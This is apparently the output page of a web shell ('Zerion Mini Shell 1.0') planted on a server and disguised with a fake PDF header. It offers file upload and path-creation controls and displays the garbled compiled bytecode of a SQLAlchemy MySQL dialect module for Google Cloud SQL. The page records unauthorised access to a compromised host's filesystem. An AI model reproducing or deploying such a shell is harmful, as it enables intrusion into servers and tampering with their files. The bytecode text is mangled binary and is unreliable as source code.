%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/mysql/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/mysql/gaerdbms.pyc

�
��4]c@swdZddlZddlZddlmZddlmZddlmZd�Z	d	efd
��YZ
e
ZdS(sv
.. dialect:: mysql+gaerdbms
    :name: Google Cloud SQL
    :dbapi: rdbms
    :connectstring: mysql+gaerdbms:///<dbname>?instance=<instancename>
    :url: https://developers.google.com/appengine/docs/python/cloud-sql/developers-guide

    This dialect is based primarily on the :mod:`.mysql.mysqldb` dialect with
    minimal changes.

    .. deprecated:: 1.0 This dialect is **no longer necessary** for
        Google Cloud SQL; the MySQLdb dialect can be used directly.
        Cloud SQL now recommends creating connections via the
        mysql dialect using the URL format

        ``mysql+mysqldb://root@/<dbname>?unix_socket=/cloudsql/<projectid>:<instancename>``


Pooling
-------

Google App Engine connections appear to be randomly recycled,
so the dialect does not pool connections.  The :class:`.NullPool`
implementation is installed within the :class:`.Engine` by
default.

i����N(twarn_deprecatedi(tMySQLDialect_mysqldbi(tNullPoolcCstjjdd�jd�S(NtSERVER_SOFTWAREtsDevelopment/(tostenvirontgett
startswith(((sU/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/mysql/gaerdbms.pyt_is_dev_environment+stMySQLDialect_gaerdbmscBs8eZed��Zed��Zd�Zd�ZRS(cCsutd�ddlm}t�r7ddlm}|S|jjd�r]ddlm}|Sddlm	}|SdS(Ns�Google Cloud SQL now recommends creating connections via the MySQLdb dialect directly, using the URL format mysql+mysqldb://root@/<dbname>?unix_socket=/cloudsql/<projectid>:<instancename>i����(tapiproxy_stub_map(t
rdbms_mysqldbtrdbms(trdbms_apiproxy(trdbms_googleapi(
Rtgoogle.appengine.apiRR	RtapiproxytGetStubt!google.storage.speckle.python.apiRR(tclsRRRR((sU/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/mysql/gaerdbms.pytdbapi0s	cCstS(N(R(Rturl((sU/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/mysql/gaerdbms.pytget_pool_classOscCs=|j�}t�s3d|d<|jd|d<ng|fS(NRtdsntinstance(ttranslate_connect_argsR	tquery(tselfRtopts((sU/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/mysql/gaerdbms.pytcreate_connect_argsTs
	
cCs\tjd�jt|��}|rB|jd�pE|jd�nd}|rXt|�SdS(Ns^(\d+)L?:|^\((\d+)L?,ii(tretcompiletmatchtstrtgrouptNonetint(Rt	exceptionR!tcode((sU/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/mysql/gaerdbms.pyt_extract_error_code]s*(t__name__t
__module__tclassmethodRRRR((((sU/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/mysql/gaerdbms.pyR
/s		(t__doc__RRtsqlalchemy.utilRtmysqldbRtpoolRR	R
tdialect(((sU/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/mysql/gaerdbms.pyt<module>!s	7

Zerion Mini Shell 1.0